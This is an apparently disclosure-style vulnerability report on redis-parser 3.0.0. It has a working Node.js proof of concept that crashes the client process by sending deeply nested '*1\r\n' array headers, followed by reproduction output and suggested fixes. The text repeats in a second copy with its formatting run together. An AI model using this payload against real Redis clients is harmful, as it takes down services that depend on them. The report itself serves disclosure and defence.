Summary
redis-parser 3.0.0 enforces no limit on RESP array nesting depth. The
mutual recursion parseArray → parseArrayElements → parseType costs stack frames
per level. A stream of repeated *1\r\n headers exhausts the V8 stack, throwing
an uncaught RangeError: Maximum call stack size exceeded out of execute() that
terminates the process.
Untrusted RESP framing crosses the network-reply →
recursive-parse → client-process boundary via nested array headers, exhausting
the V8 stack and terminating the client process.
Trust Boundary
The RESP byte stream from the Redis endpoint is the sole untrusted input crossing
into parser.execute(). The endpoint controls RESP framing (type bytes, declared
lengths, terminators) — a strictly greater capability than storing a value via
SET, which Redis re-frames with its own correct headers on read-back.
"The endpoint is trusted" is a deployment hope, not an architectural guarantee the
library can rely on: Redis is cleartext TCP unless TLS is configured, AUTH
authenticates the client to the server (not the server's reply bytes to the
client), and a parser is by definition a trust-boundary component. A redirected or
compromised endpoint (SSRF-to-Redis, on-path attacker, failed-over cluster node,
malicious managed/multi-tenant instance) delivers attacker-chosen framing through
the same API. The RangeError is additionally uncaught and not routed through
returnFatalError, so a consumer following the README's protocol-error handling
cannot intercept it — behavior beyond the documented contract.
CVSS 3.1 Breakdown
Base Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric |
Value |
Justification |
| AV |
Network |
Nested array headers on the RESP stream. |
| AC |
Low |
~12 KB of *1\r\n, or many small packets. |
| PR |
None |
— |
| UI |
None |
— |
| S |
Unchanged |
— |
| C |
None |
— |
| I |
None |
— |
| A |
High |
Uncaught stack overflow -> process termination. |
Description
function parseType (parser, type) { // lib/parser.js:291-306
switch (type) {
case 42: return parseArray(parser) // '*'
}
}
function parseArray (parser) { // recurses into parseArrayElements -> parseType
return parseArrayElements(parser, responses, 0)
}
Each nesting level adds stack frames through the mutual recursion parseArray ↔
parseArrayElements ↔ parseType (lib/parser.js:204-213 / 255-276 /
291-306) with no counter to bound depth. Enough levels overflow the stack, and
the resulting RangeError is uncaught — execute (lib/parser.js:491-549) has no
try/catch. Depth persists across execute() calls via the parser's array state,
so it can be built incrementally from tiny packets.
Proof of Concept
poc/cve7_stack_exhaustion.js. The incremental variant is the most
compelling: one *1\r\n header per execute() call still crashes, proving depth
persists across calls and defeats per-packet limits:
'use strict'
// CVE-7: Stack exhaustion via unbounded recursion on nested arrays.
// parseArray <-> parseArrayElements <-> parseType mutually recurse per nesting level with no
// depth limit; a single chunk of repeated "*1\r\n" blows the V8 stack. No try/catch -> crash.
const Parser = require('redis-parser')
const p = new Parser({
returnReply: () => {},
returnError: () => {},
returnFatalError: () => {}
})
const DEPTH = 200000
const payload = Buffer.from('*1\r\n'.repeat(DEPTH) + '+x\r\n')
let threw = null
try {
p.execute(payload)
} catch (e) {
threw = e
}
console.log('nesting depth sent :', DEPTH)
console.log('execute() threw synchronously :', !!threw)
console.log('error :', threw && (threw.constructor.name + ': ' + threw.message))
const isStack = threw instanceof RangeError && /call stack/i.test(threw.message)
console.log('RESULT (single-buffer):', isStack
? 'VULNERABLE (Maximum call stack size exceeded -> uncaught -> process crash)'
: 'not-repro')
// ---- Incremental variant: one '*1\r\n' header per execute() call ----
// Proves nesting depth persists across execute() boundaries (defeats per-packet size limits).
const p2 = new Parser({ returnReply: () => {}, returnError: () => {}, returnFatalError: () => {} })
let calls = 0
let threw2 = null
try {
for (calls = 0; calls < 50000; calls++) p2.execute(Buffer.from('*1\r\n'))
} catch (e) {
threw2 = e
}
const isStack2 = threw2 instanceof RangeError && /call stack/i.test(threw2.message)
console.log('incremental single-frame executes:', calls, ' crashed?', isStack2)
console.log('RESULT (incremental):', isStack2
? 'VULNERABLE (depth persists across execute() calls -> crash; per-packet limits ineffective)'
: 'not-repro')
Execution Steps
cd poc
npm install
node cve7_stack_exhaustion.js
Reproduction Evidence
Environment: Node.js v26.5.0, redis-parser@3.0.0.
nesting depth sent : 200000
execute() threw synchronously : true
error : RangeError: Maximum call stack size exceeded
RESULT (single-buffer): VULNERABLE (Maximum call stack size exceeded -> uncaught -> process crash)
incremental single-frame executes: 8914 crashed? true
RESULT (incremental): VULNERABLE (depth persists across execute() calls -> crash; per-packet limits ineffective)
Feeding one *1\r\n header per execute() call crashed after ~8900 calls (exact
count varies per run). This confirms nesting depth accumulates across execute()
boundaries, so per-packet size limits or single-packet inspection do not mitigate
it. The RangeError is uncaught and terminates the process.
Impact
A remote peer that can place bytes on the RESP stream crashes the whole client
process. The incremental variant builds depth across execute() calls, so
inspecting or size-limiting any single packet does not mitigate it.
Recommended Fix
- Track and enforce a maximum nesting depth; exceeding it is a fatal protocol
error routed through returnFatalError.
- Convert the
parseArray ↔ parseArrayElements ↔ parseType recursion to an
iterative loop with an explicit stack.
- Guard
execute() with try/catch so stack exhaustion degrades to a connection
error instead of process death.
Reference
- CWE-674: Uncontrolled Recursion
- CWE-248: Uncaught Exception
Summary
redis-parser3.0.0 enforces no limit on RESP array nesting depth. Themutual recursion
parseArray → parseArrayElements → parseTypecosts stack framesper level. A stream of repeated
*1\r\nheaders exhausts the V8 stack, throwingan uncaught
RangeError: Maximum call stack size exceededout ofexecute()thatterminates the process.
Untrusted RESP framing crosses the network-reply →
recursive-parse → client-process boundary via nested array headers, exhausting
the V8 stack and terminating the client process.
Trust Boundary
The RESP byte stream from the Redis endpoint is the sole untrusted input crossing
into
parser.execute(). The endpoint controls RESP framing (type bytes, declaredlengths, terminators) — a strictly greater capability than storing a value via
SET, which Redis re-frames with its own correct headers on read-back."The endpoint is trusted" is a deployment hope, not an architectural guarantee the
library can rely on: Redis is cleartext TCP unless TLS is configured,
AUTHauthenticates the client to the server (not the server's reply bytes to the
client), and a parser is by definition a trust-boundary component. A redirected or
compromised endpoint (SSRF-to-Redis, on-path attacker, failed-over cluster node,
malicious managed/multi-tenant instance) delivers attacker-chosen framing through
the same API. The
RangeErroris additionally uncaught and not routed throughreturnFatalError, so a consumer following the README's protocol-error handlingcannot intercept it — behavior beyond the documented contract.
CVSS 3.1 Breakdown
Base Score: 7.5 (High)
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H*1\r\n, or many small packets.Description
Each nesting level adds stack frames through the mutual recursion
parseArray↔parseArrayElements↔parseType(lib/parser.js:204-213/255-276/291-306) with no counter to bound depth. Enough levels overflow the stack, andthe resulting
RangeErroris uncaught —execute(lib/parser.js:491-549) has notry/catch. Depth persists acrossexecute()calls via the parser's array state,so it can be built incrementally from tiny packets.
Proof of Concept
poc/cve7_stack_exhaustion.js. The incremental variant is the mostcompelling: one
*1\r\nheader perexecute()call still crashes, proving depthpersists across calls and defeats per-packet limits:
Execution Steps
cd poc npm install node cve7_stack_exhaustion.jsReproduction Evidence
Environment: Node.js v26.5.0,
redis-parser@3.0.0.Feeding one
*1\r\nheader perexecute()call crashed after ~8900 calls (exactcount varies per run). This confirms nesting depth accumulates across
execute()boundaries, so per-packet size limits or single-packet inspection do not mitigate
it. The
RangeErroris uncaught and terminates the process.Impact
A remote peer that can place bytes on the RESP stream crashes the whole client
process. The incremental variant builds depth across
execute()calls, soinspecting or size-limiting any single packet does not mitigate it.
Recommended Fix
error routed through
returnFatalError.parseArray↔parseArrayElements↔parseTyperecursion to aniterative loop with an explicit stack.
execute()withtry/catchso stack exhaustion degrades to a connectionerror instead of process death.
Reference